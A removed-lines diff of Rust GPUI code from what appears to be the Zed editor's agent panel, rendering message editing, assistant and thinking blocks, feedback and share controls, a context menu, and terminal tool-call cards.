-                                        this.py_2().px_2().shadow_sm()
-                                    })
-                                    .border_color(cx.theme().colors().border)
-                                    .map(|this| {
-                                        if is_subagent {
-                                            return this.border_dashed();
-                                        }
-                                        if editing && editor_focus {
-                                            return this.border_color(focus_border);
-                                        }
-                                        if editing && !editor_focus {
-                                            return this.border_dashed()
-                                        }
-                                        if message.id.is_some() {
-                                            return this.shadow_md().hover(|s| {
-                                                s.border_color(focus_border.opacity(0.8))
-                                            });
-                                        }
-                                        this
-                                    })
-                                    .text_xs()
-                                    .child(editor.clone().into_any_element())
-                            )
-                            .when(editor_focus, |this| {
-                                let base_container = h_flex()
-                                    .absolute()
-                                    .top_neg_3p5()
-                                    .right_3()
-                                    .gap_1()
-                                    .rounded_sm()
-                                    .border_1()
-                                    .border_color(cx.theme().colors().border)
-                                    .bg(cx.theme().colors().editor_background)
-                                    .overflow_hidden();
-
-                                let is_loading_contents = self.is_loading_contents;
-                                if is_subagent {
-                                    this.child(
-                                        base_container.border_dashed().child(
-                                            non_editable_icon().tooltip(move |_, cx| {
-                                                Tooltip::with_meta(
-                                                    "Unavailable Editing",
-                                                    None,
-                                                    "Editing subagent messages is currently not supported.",
-                                                    cx,
-                                                )
-                                            }),
-                                        ),
-                                    )
-                                } else if message.id.is_some() {
-                                    this.child(
-                                        base_container
-                                            .child(
-                                                IconButton::new("cancel", IconName::Close)
-                                                    .disabled(is_loading_contents)
-                                                    .icon_color(Color::Error)
-                                                    .icon_size(IconSize::XSmall)
-                                                    .on_click(cx.listener(Self::cancel_editing))
-                                            )
-                                            .child(
-                                                if is_loading_contents {
-                                                    div()
-                                                        .id("loading-edited-message-content")
-                                                        .tooltip(Tooltip::text("Loading Added Context…"))
-                                                        .child(loading_contents_spinner(IconSize::XSmall))
-                                                        .into_any_element()
-                                                } else {
-                                                    IconButton::new("regenerate", IconName::Return)
-                                                        .icon_color(Color::Muted)
-                                                        .icon_size(IconSize::XSmall)
-                                                        .tooltip(Tooltip::text(
-                                                            "Editing will restart the thread from this point."
-                                                        ))
-                                                        .on_click(cx.listener({
-                                                            let editor = editor.clone();
-                                                            move |this, _, window, cx| {
-                                                                this.regenerate(
-                                                                    entry_ix, editor.clone(), window, cx,
-                                                                );
-                                                            }
-                                                        })).into_any_element()
-                                                }
-                                            )
-                                    )
-                                } else {
-                                    this.child(
-                                        base_container
-                                            .border_dashed()
-                                            .child(
-                                                non_editable_icon()
-                                                    .tooltip(Tooltip::element({
-                                                        move |_, _| {
-                                                            v_flex()
-                                                                .gap_1()
-                                                                .child(Label::new("Unavailable Editing")).child(
-                                                                    div().max_w_64().child(
-                                                                        Label::new(format!(
-                                                                            "Editing previous messages is not available for {} yet.",
-                                                                            agent_name.clone()
-                                                                        ))
-                                                                        .size(LabelSize::Small)
-                                                                        .color(Color::Muted),
-                                                                    ),
-                                                                )
-                                                                .into_any_element()
-                                                        }
-                                                    }))
-                                            )
-                                    )
-                                }
-                            }),
-                    )
-                    .into_any()
-            }
-            AgentThreadEntry::AssistantMessage(AssistantMessage {
-                chunks,
-                indented: _,
-            }) => {
-                let mut is_blank = true;
-                let is_last = entry_ix + 1 == total_entries;
-
-                let style = MarkdownStyle::themed(MarkdownFont::Agent, window, cx);
-                let message_body = v_flex()
-                    .w_full()
-                    .gap_3()
-                    .children(chunks.iter().enumerate().filter_map(
-                        |(chunk_ix, chunk)| match chunk {
-                            AssistantMessageChunk::Message { block } => {
-                                block.markdown().and_then(|md| {
-                                    let this_is_blank = md.read(cx).source().trim().is_empty();
-                                    is_blank = is_blank && this_is_blank;
-                                    if this_is_blank {
-                                        return None;
-                                    }
-
-                                    Some(
-                                        self.render_markdown(md.clone(), style.clone())
-                                            .into_any_element(),
-                                    )
-                                })
-                            }
-                            AssistantMessageChunk::Thought { block } => {
-                                block.markdown().and_then(|md| {
-                                    let this_is_blank = md.read(cx).source().trim().is_empty();
-                                    is_blank = is_blank && this_is_blank;
-                                    if this_is_blank {
-                                        return None;
-                                    }
-                                    Some(
-                                        self.render_thinking_block(
-                                            entry_ix,
-                                            chunk_ix,
-                                            md.clone(),
-                                            window,
-                                            cx,
-                                        )
-                                        .into_any_element(),
-                                    )
-                                })
-                            }
-                        },
-                    ))
-                    .into_any();
-
-                if is_blank {
-                    Empty.into_any()
-                } else {
-                    v_flex()
-                        .px_5()
-                        .py_1p5()
-                        .when(is_last, |this| this.pb_4())
-                        .w_full()
-                        .text_ui(cx)
-                        .child(self.render_message_context_menu(entry_ix, message_body, cx))
-                        .into_any()
-                }
-            }
-            AgentThreadEntry::ToolCall(tool_call) => self
-                .render_any_tool_call(
-                    &self.id,
-                    entry_ix,
-                    tool_call,
-                    &self.focus_handle(cx),
-                    window,
-                    cx,
-                )
-                .into_any(),
-        };
-
-        let primary = if is_indented {
-            let line_top = if is_first_indented {
-                rems_from_px(-12.0)
-            } else {
-                rems_from_px(0.0)
-            };
-
-            div()
-                .relative()
-                .w_full()
-                .pl_5()
-                .bg(cx.theme().colors().panel_background.opacity(0.2))
-                .child(
-                    div()
-                        .absolute()
-                        .left(rems_from_px(18.0))
-                        .top(line_top)
-                        .bottom_0()
-                        .w_px()
-                        .bg(cx.theme().colors().border.opacity(0.6)),
-                )
-                .child(primary)
-                .into_any_element()
-        } else {
-            primary
-        };
-
-        let needs_confirmation = if let AgentThreadEntry::ToolCall(tool_call) = entry {
-            matches!(
-                tool_call.status,
-                ToolCallStatus::WaitingForConfirmation { .. }
-            )
-        } else {
-            false
-        };
-
-        let thread = self.thread.clone();
-        let comments_editor = self.thread_feedback.comments_editor.clone();
-
-        let primary = if entry_ix == total_entries - 1 {
-            v_flex()
-                .w_full()
-                .child(primary)
-                .map(|this| {
-                    if needs_confirmation {
-                        this.child(self.render_generating(true, cx))
-                    } else {
-                        this.child(self.render_thread_controls(&thread, cx))
-                    }
-                })
-                .when_some(comments_editor, |this, editor| {
-                    this.child(Self::render_feedback_feedback_editor(editor, cx))
-                })
-                .into_any_element()
-        } else {
-            primary
-        };
-
-        if let Some(editing_index) = self.editing_message
-            && editing_index < entry_ix
-        {
-            let is_subagent = self.is_subagent();
-
-            let backdrop = div()
-                .id(("backdrop", entry_ix))
-                .size_full()
-                .absolute()
-                .inset_0()
-                .bg(cx.theme().colors().panel_background)
-                .opacity(0.8)
-                .block_mouse_except_scroll()
-                .on_click(cx.listener(Self::cancel_editing));
-
-            div()
-                .relative()
-                .child(primary)
-                .when(!is_subagent, |this| this.child(backdrop))
-                .into_any_element()
-        } else {
-            primary
-        }
-    }
-
-    fn render_feedback_feedback_editor(editor: Entity<Editor>, cx: &Context<Self>) -> Div {
-        h_flex()
-            .key_context("AgentFeedbackMessageEditor")
-            .on_action(cx.listener(move |this, _: &menu::Cancel, _, cx| {
-                this.thread_feedback.dismiss_comments();
-                cx.notify();
-            }))
-            .on_action(cx.listener(move |this, _: &menu::Confirm, _window, cx| {
-                this.submit_feedback_message(cx);
-            }))
-            .p_2()
-            .mb_2()
-            .mx_5()
-            .gap_1()
-            .rounded_md()
-            .border_1()
-            .border_color(cx.theme().colors().border)
-            .bg(cx.theme().colors().editor_background)
-            .child(div().w_full().child(editor))
-            .child(
-                h_flex()
-                    .child(
-                        IconButton::new("dismiss-feedback-message", IconName::Close)
-                            .icon_color(Color::Error)
-                            .icon_size(IconSize::XSmall)
-                            .shape(ui::IconButtonShape::Square)
-                            .on_click(cx.listener(move |this, _, _window, cx| {
-                                this.thread_feedback.dismiss_comments();
-                                cx.notify();
-                            })),
-                    )
-                    .child(
-                        IconButton::new("submit-feedback-message", IconName::Return)
-                            .icon_size(IconSize::XSmall)
-                            .shape(ui::IconButtonShape::Square)
-                            .on_click(cx.listener(move |this, _, _window, cx| {
-                                this.submit_feedback_message(cx);
-                            })),
-                    ),
-            )
-    }
-
-    fn render_thread_controls(
-        &self,
-        thread: &Entity<AcpThread>,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let is_generating = matches!(thread.read(cx).status(), ThreadStatus::Generating);
-        if is_generating {
-            return self.render_generating(false, cx).into_any_element();
-        }
-
-        let open_as_markdown = IconButton::new("open-as-markdown", IconName::FileMarkdown)
-            .shape(ui::IconButtonShape::Square)
-            .icon_size(IconSize::Small)
-            .icon_color(Color::Ignored)
-            .tooltip(Tooltip::text("Open Thread as Markdown"))
-            .on_click(cx.listener(move |this, _, window, cx| {
-                if let Some(workspace) = this.workspace.upgrade() {
-                    this.open_thread_as_markdown(workspace, window, cx)
-                        .detach_and_log_err(cx);
-                }
-            }));
-
-        let scroll_to_recent_user_prompt =
-            IconButton::new("scroll_to_recent_user_prompt", IconName::ForwardArrow)
-                .shape(ui::IconButtonShape::Square)
-                .icon_size(IconSize::Small)
-                .icon_color(Color::Ignored)
-                .tooltip(Tooltip::text("Scroll To Most Recent User Prompt"))
-                .on_click(cx.listener(move |this, _, _, cx| {
-                    this.scroll_to_most_recent_user_prompt(cx);
-                }));
-
-        let scroll_to_top = IconButton::new("scroll_to_top", IconName::ArrowUp)
-            .shape(ui::IconButtonShape::Square)
-            .icon_size(IconSize::Small)
-            .icon_color(Color::Ignored)
-            .tooltip(Tooltip::text("Scroll To Top"))
-            .on_click(cx.listener(move |this, _, _, cx| {
-                this.scroll_to_top(cx);
-            }));
-
-        let show_stats = AgentSettings::get_global(cx).show_turn_stats;
-        let last_turn_clock = show_stats
-            .then(|| {
-                self.turn_fields
-                    .last_turn_duration
-                    .filter(|&duration| duration > STOPWATCH_THRESHOLD)
-                    .map(|duration| {
-                        Label::new(duration_alt_display(duration))
-                            .size(LabelSize::Small)
-                            .color(Color::Muted)
-                    })
-            })
-            .flatten();
-
-        let last_turn_tokens_label = last_turn_clock
-            .is_some()
-            .then(|| {
-                self.turn_fields
-                    .last_turn_tokens
-                    .filter(|&tokens| tokens > TOKEN_THRESHOLD)
-                    .map(|tokens| {
-                        Label::new(format!(
-                            "{} tokens",
-                            crate::text_thread_editor::humanize_token_count(tokens)
-                        ))
-                        .size(LabelSize::Small)
-                        .color(Color::Muted)
-                    })
-            })
-            .flatten();
-
-        let mut container = h_flex()
-            .w_full()
-            .py_2()
-            .px_5()
-            .gap_px()
-            .opacity(0.6)
-            .hover(|s| s.opacity(1.))
-            .justify_end()
-            .when(
-                last_turn_tokens_label.is_some() || last_turn_clock.is_some(),
-                |this| {
-                    this.child(
-                        h_flex()
-                            .gap_1()
-                            .px_1()
-                            .when_some(last_turn_tokens_label, |this, label| this.child(label))
-                            .when_some(last_turn_clock, |this, label| this.child(label)),
-                    )
-                },
-            );
-
-        if AgentSettings::get_global(cx).enable_feedback
-            && self.thread.read(cx).connection().telemetry().is_some()
-        {
-            let feedback = self.thread_feedback.feedback;
-
-            let tooltip_meta = || {
-                SharedString::new(
-                    "Rating the thread sends all of your current conversation to the Zed team.",
-                )
-            };
-
-            container = container
-                    .child(
-                        IconButton::new("feedback-thumbs-up", IconName::ThumbsUp)
-                            .shape(ui::IconButtonShape::Square)
-                            .icon_size(IconSize::Small)
-                            .icon_color(match feedback {
-                                Some(ThreadFeedback::Positive) => Color::Accent,
-                                _ => Color::Ignored,
-                            })
-                            .tooltip(move |window, cx| match feedback {
-                                Some(ThreadFeedback::Positive) => {
-                                    Tooltip::text("Thanks for your feedback!")(window, cx)
-                                }
-                                _ => {
-                                    Tooltip::with_meta("Helpful Response", None, tooltip_meta(), cx)
-                                }
-                            })
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.handle_feedback_click(ThreadFeedback::Positive, window, cx);
-                            })),
-                    )
-                    .child(
-                        IconButton::new("feedback-thumbs-down", IconName::ThumbsDown)
-                            .shape(ui::IconButtonShape::Square)
-                            .icon_size(IconSize::Small)
-                            .icon_color(match feedback {
-                                Some(ThreadFeedback::Negative) => Color::Accent,
-                                _ => Color::Ignored,
-                            })
-                            .tooltip(move |window, cx| match feedback {
-                                Some(ThreadFeedback::Negative) => {
-                                    Tooltip::text(
-                                    "We appreciate your feedback and will use it to improve in the future.",
-                                )(window, cx)
-                                }
-                                _ => {
-                                    Tooltip::with_meta(
-                                        "Not Helpful Response",
-                                        None,
-                                        tooltip_meta(),
-                                        cx,
-                                    )
-                                }
-                            })
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.handle_feedback_click(ThreadFeedback::Negative, window, cx);
-                            })),
-                    );
-        }
-
-        if let Some(project) = self.project.upgrade()
-            && let Some(server_view) = self.server_view.upgrade()
-            && cx.has_flag::<AgentSharingFeatureFlag>()
-            && project.read(cx).client().status().borrow().is_connected()
-        {
-            let button = if self.is_imported_thread(cx) {
-                IconButton::new("sync-thread", IconName::ArrowCircle)
-                    .shape(ui::IconButtonShape::Square)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Ignored)
-                    .tooltip(Tooltip::text("Sync with source thread"))
-                    .on_click(cx.listener(move |this, _, window, cx| {
-                        this.sync_thread(project.clone(), server_view.clone(), window, cx);
-                    }))
-            } else {
-                IconButton::new("share-thread", IconName::ArrowUpRight)
-                    .shape(ui::IconButtonShape::Square)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Ignored)
-                    .tooltip(Tooltip::text("Share Thread"))
-                    .on_click(cx.listener(move |this, _, window, cx| {
-                        this.share_thread(window, cx);
-                    }))
-            };
-
-            container = container.child(button);
-        }
-
-        container
-            .child(open_as_markdown)
-            .child(scroll_to_recent_user_prompt)
-            .child(scroll_to_top)
-            .into_any_element()
-    }
-
-    pub(crate) fn scroll_to_most_recent_user_prompt(&mut self, cx: &mut Context<Self>) {
-        let entries = self.thread.read(cx).entries();
-        if entries.is_empty() {
-            return;
-        }
-
-        // Find the most recent user message and scroll it to the top of the viewport.
-        // (Fallback: if no user message exists, scroll to the bottom.)
-        if let Some(ix) = entries
-            .iter()
-            .rposition(|entry| matches!(entry, AgentThreadEntry::UserMessage(_)))
-        {
-            self.list_state.scroll_to(ListOffset {
-                item_ix: ix,
-                offset_in_item: px(0.0),
-            });
-            cx.notify();
-        } else {
-            self.scroll_to_bottom(cx);
-        }
-    }
-
-    pub fn scroll_to_bottom(&mut self, cx: &mut Context<Self>) {
-        let entry_count = self.thread.read(cx).entries().len();
-        self.list_state.reset(entry_count);
-        cx.notify();
-    }
-
-    fn handle_feedback_click(
-        &mut self,
-        feedback: ThreadFeedback,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.thread_feedback
-            .submit(self.thread.clone(), feedback, window, cx);
-        cx.notify();
-    }
-
-    fn submit_feedback_message(&mut self, cx: &mut Context<Self>) {
-        let thread = self.thread.clone();
-        self.thread_feedback.submit_comments(thread, cx);
-        cx.notify();
-    }
-
-    pub(crate) fn scroll_to_top(&mut self, cx: &mut Context<Self>) {
-        self.list_state.scroll_to(ListOffset::default());
-        cx.notify();
-    }
-
-    pub fn open_thread_as_markdown(
-        &self,
-        workspace: Entity<Workspace>,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> Task<Result<()>> {
-        let markdown_language_task = workspace
-            .read(cx)
-            .app_state()
-            .languages
-            .language_for_name("Markdown");
-
-        let thread = self.thread.read(cx);
-        let thread_title = thread.title().to_string();
-        let markdown = thread.to_markdown(cx);
-
-        let project = workspace.read(cx).project().clone();
-        window.spawn(cx, async move |cx| {
-            let markdown_language = markdown_language_task.await?;
-
-            let buffer = project
-                .update(cx, |project, cx| {
-                    project.create_buffer(Some(markdown_language), false, cx)
-                })
-                .await?;
-
-            buffer.update(cx, |buffer, cx| {
-                buffer.set_text(markdown, cx);
-                buffer.set_capability(language::Capability::ReadWrite, cx);
-            });
-
-            workspace.update_in(cx, |workspace, window, cx| {
-                let buffer = cx
-                    .new(|cx| MultiBuffer::singleton(buffer, cx).with_title(thread_title.clone()));
-
-                workspace.add_item_to_active_pane(
-                    Box::new(cx.new(|cx| {
-                        let mut editor =
-                            Editor::for_multibuffer(buffer, Some(project.clone()), window, cx);
-                        editor.set_breadcrumb_header(thread_title);
-                        editor
-                    })),
-                    None,
-                    true,
-                    window,
-                    cx,
-                );
-            })?;
-            anyhow::Ok(())
-        })
-    }
-
-    fn render_generating(&self, confirmation: bool, cx: &App) -> impl IntoElement {
-        let show_stats = AgentSettings::get_global(cx).show_turn_stats;
-        let elapsed_label = show_stats
-            .then(|| {
-                self.turn_fields.turn_started_at.and_then(|started_at| {
-                    let elapsed = started_at.elapsed();
-                    (elapsed > STOPWATCH_THRESHOLD).then(|| duration_alt_display(elapsed))
-                })
-            })
-            .flatten();
-
-        let is_waiting = confirmation || self.thread.read(cx).has_in_progress_tool_calls();
-
-        let turn_tokens_label = elapsed_label
-            .is_some()
-            .then(|| {
-                self.turn_fields
-                    .turn_tokens
-                    .filter(|&tokens| tokens > TOKEN_THRESHOLD)
-                    .map(|tokens| crate::text_thread_editor::humanize_token_count(tokens))
-            })
-            .flatten();
-
-        let arrow_icon = if is_waiting {
-            IconName::ArrowUp
-        } else {
-            IconName::ArrowDown
-        };
-
-        h_flex()
-            .id("generating-spinner")
-            .py_2()
-            .px(rems_from_px(22.))
-            .gap_2()
-            .map(|this| {
-                if confirmation {
-                    this.child(
-                        h_flex()
-                            .w_2()
-                            .child(SpinnerLabel::sand().size(LabelSize::Small)),
-                    )
-                    .child(
-                        div().min_w(rems(8.)).child(
-                            LoadingLabel::new("Awaiting Confirmation")
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
-                    )
-                } else {
-                    this.child(SpinnerLabel::new().size(LabelSize::Small))
-                }
-            })
-            .when_some(elapsed_label, |this, elapsed| {
-                this.child(
-                    Label::new(elapsed)
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-            })
-            .when_some(turn_tokens_label, |this, tokens| {
-                this.child(
-                    h_flex()
-                        .gap_0p5()
-                        .child(
-                            Icon::new(arrow_icon)
-                                .size(IconSize::XSmall)
-                                .color(Color::Muted),
-                        )
-                        .child(
-                            Label::new(format!("{} tokens", tokens))
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                        ),
-                )
-            })
-            .into_any_element()
-    }
-
-    fn render_thinking_block(
-        &self,
-        entry_ix: usize,
-        chunk_ix: usize,
-        chunk: Entity<Markdown>,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let header_id = SharedString::from(format!("thinking-block-header-{}", entry_ix));
-        let card_header_id = SharedString::from("inner-card-header");
-
-        let key = (entry_ix, chunk_ix);
-
-        let is_open = self.expanded_thinking_blocks.contains(&key);
-
-        let scroll_handle = self
-            .entry_view_state
-            .read(cx)
-            .entry(entry_ix)
-            .and_then(|entry| entry.scroll_handle_for_assistant_message_chunk(chunk_ix));
-
-        let thinking_content = {
-            div()
-                .id(("thinking-content", chunk_ix))
-                .when_some(scroll_handle, |this, scroll_handle| {
-                    this.track_scroll(&scroll_handle)
-                })
-                .text_ui_sm(cx)
-                .overflow_hidden()
-                .child(self.render_markdown(
-                    chunk,
-                    MarkdownStyle::themed(MarkdownFont::Agent, window, cx),
-                ))
-        };
-
-        v_flex()
-            .gap_1()
-            .child(
-                h_flex()
-                    .id(header_id)
-                    .group(&card_header_id)
-                    .relative()
-                    .w_full()
-                    .pr_1()
-                    .justify_between()
-                    .child(
-                        h_flex()
-                            .h(window.line_height() - px(2.))
-                            .gap_1p5()
-                            .overflow_hidden()
-                            .child(
-                                Icon::new(IconName::ToolThink)
-                                    .size(IconSize::Small)
-                                    .color(Color::Muted),
-                            )
-                            .child(
-                                div()
-                                    .text_size(self.tool_name_font_size())
-                                    .text_color(cx.theme().colors().text_muted)
-                                    .child("Thinking"),
-                            ),
-                    )
-                    .child(
-                        Disclosure::new(("expand", entry_ix), is_open)
-                            .opened_icon(IconName::ChevronUp)
-                            .closed_icon(IconName::ChevronDown)
-                            .visible_on_hover(&card_header_id)
-                            .on_click(cx.listener({
-                                move |this, _event, _window, cx| {
-                                    if is_open {
-                                        this.expanded_thinking_blocks.remove(&key);
-                                    } else {
-                                        this.expanded_thinking_blocks.insert(key);
-                                    }
-                                    cx.notify();
-                                }
-                            })),
-                    )
-                    .on_click(cx.listener(move |this, _event, _window, cx| {
-                        if is_open {
-                            this.expanded_thinking_blocks.remove(&key);
-                        } else {
-                            this.expanded_thinking_blocks.insert(key);
-                        }
-                        cx.notify();
-                    })),
-            )
-            .when(is_open, |this| {
-                this.child(
-                    div()
-                        .ml_1p5()
-                        .pl_3p5()
-                        .border_l_1()
-                        .border_color(self.tool_card_border_color(cx))
-                        .child(thinking_content),
-                )
-            })
-            .into_any_element()
-    }
-
-    fn render_message_context_menu(
-        &self,
-        entry_ix: usize,
-        message_body: AnyElement,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let entity = cx.entity();
-        let workspace = self.workspace.clone();
-
-        right_click_menu(format!("agent_context_menu-{}", entry_ix))
-            .trigger(move |_, _, _| message_body)
-            .menu(move |window, cx| {
-                let focus = window.focused(cx);
-                let entity = entity.clone();
-                let workspace = workspace.clone();
-
-                ContextMenu::build(window, cx, move |menu, _, cx| {
-                    let this = entity.read(cx);
-                    let is_at_top = this.list_state.logical_scroll_top().item_ix == 0;
-
-                    let has_selection = this
-                        .thread
-                        .read(cx)
-                        .entries()
-                        .get(entry_ix)
-                        .and_then(|entry| match &entry {
-                            AgentThreadEntry::AssistantMessage(msg) => Some(&msg.chunks),
-                            _ => None,
-                        })
-                        .map(|chunks| {
-                            chunks.iter().any(|chunk| {
-                                let md = match chunk {
-                                    AssistantMessageChunk::Message { block } => block.markdown(),
-                                    AssistantMessageChunk::Thought { block } => block.markdown(),
-                                };
-                                md.map_or(false, |m| m.read(cx).selected_text().is_some())
-                            })
-                        })
-                        .unwrap_or(false);
-
-                    let copy_this_agent_response =
-                        ContextMenuEntry::new("Copy This Agent Response").handler({
-                            let entity = entity.clone();
-                            move |_, cx| {
-                                entity.update(cx, |this, cx| {
-                                    let entries = this.thread.read(cx).entries();
-                                    if let Some(text) =
-                                        Self::get_agent_message_content(entries, entry_ix, cx)
-                                    {
-                                        cx.write_to_clipboard(ClipboardItem::new_string(text));
-                                    }
-                                });
-                            }
-                        });
-
-                    let scroll_item = if is_at_top {
-                        ContextMenuEntry::new("Scroll to Bottom").handler({
-                            let entity = entity.clone();
-                            move |_, cx| {
-                                entity.update(cx, |this, cx| {
-                                    this.scroll_to_bottom(cx);
-                                });
-                            }
-                        })
-                    } else {
-                        ContextMenuEntry::new("Scroll to Top").handler({
-                            let entity = entity.clone();
-                            move |_, cx| {
-                                entity.update(cx, |this, cx| {
-                                    this.scroll_to_top(cx);
-                                });
-                            }
-                        })
-                    };
-
-                    let open_thread_as_markdown = ContextMenuEntry::new("Open Thread as Markdown")
-                        .handler({
-                            let entity = entity.clone();
-                            let workspace = workspace.clone();
-                            move |window, cx| {
-                                if let Some(workspace) = workspace.upgrade() {
-                                    entity
-                                        .update(cx, |this, cx| {
-                                            this.open_thread_as_markdown(workspace, window, cx)
-                                        })
-                                        .detach_and_log_err(cx);
-                                }
-                            }
-                        });
-
-                    menu.when_some(focus, |menu, focus| menu.context(focus))
-                        .action_disabled_when(
-                            !has_selection,
-                            "Copy Selection",
-                            Box::new(markdown::CopyAsMarkdown),
-                        )
-                        .item(copy_this_agent_response)
-                        .separator()
-                        .item(scroll_item)
-                        .item(open_thread_as_markdown)
-                })
-            })
-            .into_any_element()
-    }
-
-    fn get_agent_message_content(
-        entries: &[AgentThreadEntry],
-        entry_index: usize,
-        cx: &App,
-    ) -> Option<String> {
-        let entry = entries.get(entry_index)?;
-        if matches!(entry, AgentThreadEntry::UserMessage(_)) {
-            return None;
-        }
-
-        let start_index = (0..entry_index)
-            .rev()
-            .find(|&i| matches!(entries.get(i), Some(AgentThreadEntry::UserMessage(_))))
-            .map(|i| i + 1)
-            .unwrap_or(0);
-
-        let end_index = (entry_index + 1..entries.len())
-            .find(|&i| matches!(entries.get(i), Some(AgentThreadEntry::UserMessage(_))))
-            .map(|i| i - 1)
-            .unwrap_or(entries.len() - 1);
-
-        let parts: Vec<String> = (start_index..=end_index)
-            .filter_map(|i| entries.get(i))
-            .filter_map(|entry| {
-                if let AgentThreadEntry::AssistantMessage(message) = entry {
-                    let text: String = message
-                        .chunks
-                        .iter()
-                        .filter_map(|chunk| match chunk {
-                            AssistantMessageChunk::Message { block } => {
-                                let markdown = block.to_markdown(cx);
-                                if markdown.trim().is_empty() {
-                                    None
-                                } else {
-                                    Some(markdown.to_string())
-                                }
-                            }
-                            AssistantMessageChunk::Thought { .. } => None,
-                        })
-                        .collect::<Vec<_>>()
-                        .join("\n\n");
-
-                    if text.is_empty() { None } else { Some(text) }
-                } else {
-                    None
-                }
-            })
-            .collect();
-
-        let text = parts.join("\n\n");
-        if text.is_empty() { None } else { Some(text) }
-    }
-
-    fn render_collapsible_command(
-        &self,
-        is_preview: bool,
-        command_source: &str,
-        tool_call_id: &acp::ToolCallId,
-        cx: &Context<Self>,
-    ) -> Div {
-        let command_group =
-            SharedString::from(format!("collapsible-command-group-{}", tool_call_id));
-
-        v_flex()
-            .group(command_group.clone())
-            .bg(self.tool_card_header_bg(cx))
-            .child(
-                v_flex()
-                    .p_1p5()
-                    .when(is_preview, |this| {
-                        this.pt_1().child(
-                            // Wrapping this label on a container with 24px height to avoid
-                            // layout shift when it changes from being a preview label
-                            // to the actual path where the command will run in
-                            h_flex().h_6().child(
-                                Label::new("Run Command")
-                                    .buffer_font(cx)
-                                    .size(LabelSize::XSmall)
-                                    .color(Color::Muted),
-                            ),
-                        )
-                    })
-                    .children(command_source.lines().map(|line| {
-                        let text: SharedString = if line.is_empty() {
-                            " ".into()
-                        } else {
-                            line.to_string().into()
-                        };
-
-                        Label::new(text).buffer_font(cx).size(LabelSize::Small)
-                    }))
-                    .child(
-                        div().absolute().top_1().right_1().child(
-                            CopyButton::new("copy-command", command_source.to_string())
-                                .tooltip_label("Copy Command")
-                                .visible_on_hover(command_group),
-                        ),
-                    ),
-            )
-    }
-
-    fn render_terminal_tool_call(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        terminal: &Entity<acp_thread::Terminal>,
-        tool_call: &ToolCall,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let terminal_data = terminal.read(cx);
-        let working_dir = terminal_data.working_dir();
-        let command = terminal_data.command();
-        let started_at = terminal_data.started_at();
-
-        let tool_failed = matches!(
-            &tool_call.status,
-            ToolCallStatus::Rejected | ToolCallStatus::Canceled | ToolCallStatus::Failed
-        );
-
-        let confirmation_options = match &tool_call.status {
-            ToolCallStatus::WaitingForConfirmation { options, .. } => Some(options),
-            _ => None,
-        };
-        let needs_confirmation = confirmation_options.is_some();
-
-        let output = terminal_data.output();
-        let command_finished = output.is_some();
-        let truncated_output =
-            output.is_some_and(|output| output.original_content_len > output.content.len());
-        let output_line_count = output.map(|output| output.content_line_count).unwrap_or(0);
-
-        let command_failed = command_finished
-            && output.is_some_and(|o| o.exit_status.is_some_and(|status| !status.success()));
-
-        let time_elapsed = if let Some(output) = output {
-            output.ended_at.duration_since(started_at)
-        } else {
-            started_at.elapsed()
-        };
-
-        let header_id =
-            SharedString::from(format!("terminal-tool-header-{}", terminal.entity_id()));
-        let header_group = SharedString::from(format!(
-            "terminal-tool-header-group-{}",
-            terminal.entity_id()
-        ));
-        let header_bg = cx
-            .theme()
-            .colors()
-            .element_background
-            .blend(cx.theme().colors().editor_foreground.opacity(0.025));
-        let border_color = cx.theme().colors().border.opacity(0.6);
-
-        let working_dir = working_dir
-            .as_ref()
-            .map(|path| path.display().to_string())
-            .unwrap_or_else(|| "current directory".to_string());
-
-        // Since the command's source is wrapped in a markdown code block
-        // (```\n...\n```), we need to strip that so we're left with only the
-        // command's content.
-        let command_source = command.read(cx).source();
-        let command_content = command_source
-            .strip_prefix("```\n")
-            .and_then(|s| s.strip_suffix("\n```"))
-            .unwrap_or(&command_source);
-
-        let command_element =
-            self.render_collapsible_command(false, command_content, &tool_call.id, cx);
-
-        let is_expanded = self.expanded_tool_calls.contains(&tool_call.id);
-
-        let header = h_flex()
-            .id(header_id)
-            .px_1p5()
-            .pt_1()
-            .flex_none()
-            .gap_1()
-            .justify_between()
-            .rounded_t_md()
-            .child(
-                div()
-                    .id(("command-target-path", terminal.entity_id()))
-                    .w_full()
-                    .max_w_full()
-                    .overflow_x_scroll()
-                    .child(
-                        Label::new(working_dir)
-                            .buffer_font(cx)
-                            .size(LabelSize::XSmall)
-                            .color(Color::Muted),
-                    ),
-            )
-            .when(!command_finished && !needs_confirmation, |header| {
-                header
-                    .gap_1p5()
-                    .child(
-                        Button::new(
-                            SharedString::from(format!("stop-terminal-{}", terminal.entity_id())),
-                            "Stop",
-                        )
-                        .icon(IconName::Stop)
-                        .icon_position(IconPosition::Start)
-                        .icon_size(IconSize::Small)
-                        .icon_color(Color::Error)
-                        .label_size(LabelSize::Small)
-                        .tooltip(move |_window, cx| {
-                            Tooltip::with_meta(
-                                "Stop This Command",
-                                None,
-                                "Also possible by placing your cursor inside the terminal and using regular terminal bindings.",
-                                cx,
-                            )
-                        })
-                        .on_click({
-                            let terminal = terminal.clone();
-                            cx.listener(move |this, _event, _window, cx| {
-                                terminal.update(cx, |terminal, cx| {
-                                    terminal.stop_by_user(cx);
-                                });
-                                if AgentSettings::get_global(cx).cancel_generation_on_terminal_stop {
-                                    this.cancel_generation(cx);
-                                }
-                            })
-                        }),
-                    )
-                    .child(Divider::vertical())
-                    .child(
-                        Icon::new(IconName::ArrowCircle)
-                            .size(IconSize::XSmall)
-                            .color(Color::Info)
-                            .with_rotate_animation(2)
-                    )
-            })
-            .when(truncated_output, |header| {
-                let tooltip = if let Some(output) = output {
-                    if output_line_count + 10 > terminal::MAX_SCROLL_HISTORY_LINES {
